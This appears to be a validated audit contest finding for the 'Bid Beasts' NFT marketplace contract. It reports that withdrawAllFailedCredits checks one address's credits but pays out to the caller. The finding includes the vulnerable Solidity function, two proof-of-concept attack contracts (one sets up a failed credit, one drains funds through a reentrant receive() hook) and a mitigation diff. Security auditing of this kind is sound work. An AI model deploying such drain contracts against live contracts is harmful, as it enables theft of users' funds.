Bid Beasts
First Flight #49
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

[H-2] Reentrancy in Failed Credits Withdrawal

chargingfoxsec

[H-2] Reentrancy in Failed Credits Withdrawal

Description

  • The withdrawAllFailedCredits function is designed to allow users to withdraw failed transfer credits that could not be sent directly

  • The function has a critical parameter/state variable mismatch where it uses _receiver for checking balance but msg.sender for state updates and transfers, enabling a reentrancy attack

function withdrawAllFailedCredits(address _receiver) external {
uint256 amount = failedTransferCredits[_receiver];
require(amount > 0, "No credits to withdraw");
​
@> failedTransferCredits[msg.sender] = 0;
​
@> (bool success, ) = payable(msg.sender).call{value: amount}("");
require(success, "Withdraw failed");
}

Risk

Likelihood:HIGH

  • Any malicious contract can exploit this by calling the function repeatedly during the ETH transfer callback

  • The parameter/variable mismatch makes this trivially exploitable

Impact:HIGH

  • Complete drainage of contract's ETH balance is possible

  • All legitimate users' failed transfer credits could be stolen

Proof of Concept

  • step1:use a contract to buy an NFT via the buyNowPrice logic, and send more ETH than the buyNowPrice. Make sure this contract does not have a receive() or fallback() function. When the market tries to return the excess ETH, the transfer will fail, and the contract’s address will be recorded in the failedTransferCredits mapping

contract FailTransferContract {
BidBeastsNFTMarket public market;
BidBeasts public nft;
constructor(address _market, address _nft) {
market = BidBeastsNFTMarket(_market);
nft = BidBeasts(_nft);
}
function createFailedCredit(uint256 tokenId) external payable {
BidBeastsNFTMarket.Listing memory listing = market.getListing(tokenId);
require(listing.buyNowPrice > 0, "No buy now price set");
// Send more ETH than the buyNowPrice, the excess ETH transfer will fail
// Since the contract has no receive/fallback, the transfer fails and is recorded in failedTransferCredits
market.placeBid{value: msg.value}(tokenId);
}
}

  • step2:use another contract to attack,and param _target should use the contract address in step1

contract AttackContract {
BidBeastsNFTMarket target;
constructor(address _target) {
target = BidBeastsNFTMarket(_target);
}
// Trigger the attack
function attack() external {
target.withdrawAllFailedCredits(address(this));
}
// Reentrance point
receive() external payable {
if(address(target).balance >= 1 ether) {
target.withdrawAllFailedCredits(address(this));
}
}
}

Recommended Mitigation

function withdrawAllFailedCredits(address _receiver) external {
uint256 amount = failedTransferCredits[_receiver];
require(amount > 0, "No credits to withdraw");
- failedTransferCredits[msg.sender] = 0;
- (bool success, ) = payable(msg.sender).call{value: amount}("");
+ failedTransferCredits[_receiver] = 0;
+ (bool success, ) = payable(_receiver).call{value: amount}("");
require(success, "Withdraw failed");
}
Updates

Lead Judging Commences

cryptoghost Lead Judge about 1 month ago
Submission Judgement Published
Validated
Assigned finding tags:

BidBeast Marketplace: Unrestricted FailedCredits Withdrawal

withdrawAllFailedCredits allows any user to withdraw another account’s failed transfer credits due to improper use of msg.sender instead of _receiver for balance reset and transfer.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.